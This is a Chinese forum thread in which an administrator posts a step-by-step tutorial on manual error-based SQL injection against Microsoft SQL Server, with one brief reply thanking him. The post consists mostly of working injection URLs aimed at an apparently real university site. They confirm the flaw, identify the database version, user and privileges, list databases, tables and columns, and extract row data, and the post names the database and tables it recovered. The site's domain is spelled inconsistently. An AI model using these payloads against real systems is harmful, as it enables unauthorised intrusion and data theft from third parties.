灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:7873回复:1

手动爆库详细流程以及语句解析

楼主#
更多 发布于:2013-06-25 19:37
mssql显错模式注入(字符型注入)
2.1 基本信息
2.1.1 判断存在注入
 
http://yjsc.ashau.edu.cn/web/InfoKindList.aspx?kind=0103
 
根据加单引号的错误回显,发现是字符型,再通过’ and ’1′=’1′ and ’2′=’2进一步判断。可以想象sql语句可能是:select * from table where string=’0103′,这是一个完整的sql语句,可以构造语句:select * from table where string=’0103′ and ’1′=’1′ and ’2′=’2′,我们添加的语句是:’ and ’1′=’1′ and ’2′=’2,正好可以使原先的’0103′左右两边的单引号闭合。其中在’1′=’1′的地方我们可以用1=1来代替,sql查询返回的结果是正常的,但是使用a=a返回错误,使用’a'=’a'返回正确,这里等号两边是数字应该是个特例。可以在and ’1′=’1′的地方构造需要的sql注入语句。
 
2.1.2 判断是否是mssql
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and (select count(*) from sysobjects)>1 and ’1′!>’3
 
Mssql每个数据库都存在表sysobject,因此如果是mssql数据库的话,查询语句返回的结果一定是大于1的,即select count(*) from sysobjects)>1逻辑是正确的,页面返回正常。
 
2.1.3 mssql版本
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and 1=(select @@version) and ’1′!>’3
 
其中and ’1′!>’3是永远成立的条件,语义是字符串’1′不等于字符串’3′,这里我们可以构造其他任意成立的条件,例如’1′=’1、’2′=’2、’a'=’a等等。
 
2.1.4 当前用户
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and 1=(select user) and ’1′!>’3
 
2.1.5 当前数据库
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and 1=(select db_name()) and ’1′!>’3
当前库为Gwork_ahnd
 
2.1.6 爆出所有数据库
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and 1=(select name from master.dbo.sysdatabases where dbid=1) and ’1′!>’3
 
通过改变dbid的值,如1、2、3等等,所有数据库都可以爆出来。
 
2.1.7 判断用户权限
判断服务器角色:
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) and ’1′!>’3
服务器角色权限有:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin等等
判断数据库角色:
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and 1=(select is_member(‘db_owner’)) and ’1′!>’3
数据库角色权限有:public、db_owner等等
判断是否是sa权限,需要判断下服务器角色:select IS_SRVROLEMEMBER(‘sysadmin’),返回1,则是sa权限
sa权限用户具有public和db_owner权限,但是具有public和db_owner权限的用户不一定是sa最高权限。
此处的用户权限是db_owner:
 
2.2 爆表名信息
2.2.1 确定表数目
http://yjsc.ahsau.edu.cn/web/InfoKindList.aspx?kind=0103′ and (select cast(count(*) as varchar(100))%2bchar(94) from sysobjects where xtype=’u')=1 and ’1′!>’3
其中注意几个方面,一个是cast函数的使用,将用户表数据取出后转化为varchar类型,然后和“^”字符连接,“%2b”是字符“+”的url编码形式,“+”在mssql中是连接字符串的。在这里,必须用%2b代替“+”,不然报错。Char(94)=^
 
2.2.2 爆第一个表表名
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and (select top 1 name from sysobjects where xtype=’u')>1 and ’1′!>’3
 
2.2.3 爆余下的表名
方法一:用not in
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and convert(int,(select top 1 name from sysobjects where xtype=’u’ and name not in (‘PY_WKJSJDJKS’)))>1 and ’1′!>’3
 
方法二:用select top
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and convert(int,(select top 1 name from sysobjects where xtype=’u’ and name not in (select top 1 name from sysobjects where xtype=’u')))>1 and ’1′!>’3
 
2.3 爆列名信息
2.3.1 爆第一个列名,用having 1=1
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and (select * from PY_WKJSJDJKS having 1=1)>1 and ’1′!>’3
 
2.3.2 爆第二个列名,用group by
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and (select * from PY_WKJSJDJKS group by xh)>1 and ’1′!>’3
 
2.4 爆数据信息
2.4.1 读第一条数据(读Web_InfoKinds表的name列的数据)
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and (select top 1 name from Web_InfoKinds)>1 and ’1′!>’3
 
2.4.2 读第二条数据
方法一:not in
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and convert(int,(select top 1 name from Web_InfoKinds where name not in(‘部门简介’)))>1 and ’1′!>’3
这个方法在语法上是没错的,但是就是报错跑不出数据
 
方法二:select top
yjsc.ahau.edu.cn/web/InfoKindList.aspx?kind=0103′ and convert(int,(select top 1 name from Web_InfoKinds where name not in(select top 1 name from Web_InfoKinds)))>1 and ’1′!>’3
 
以上方法二都比方法一高效一点。

喜欢0 评分0
TZ灬天煞
终身会员
终身会员
  • 注册日期2014-08-10
  • 发帖数86
  • QQ527116747
  • 火币125枚
  • 粉丝0
  • 关注0
  • 最爱沙发
沙发#
发布于:2014-08-10 11:49
沙发啊,有你真好,赞这个了,我刚学会,呵呵

回复(0) 喜欢(0)     评分
游客

返回顶部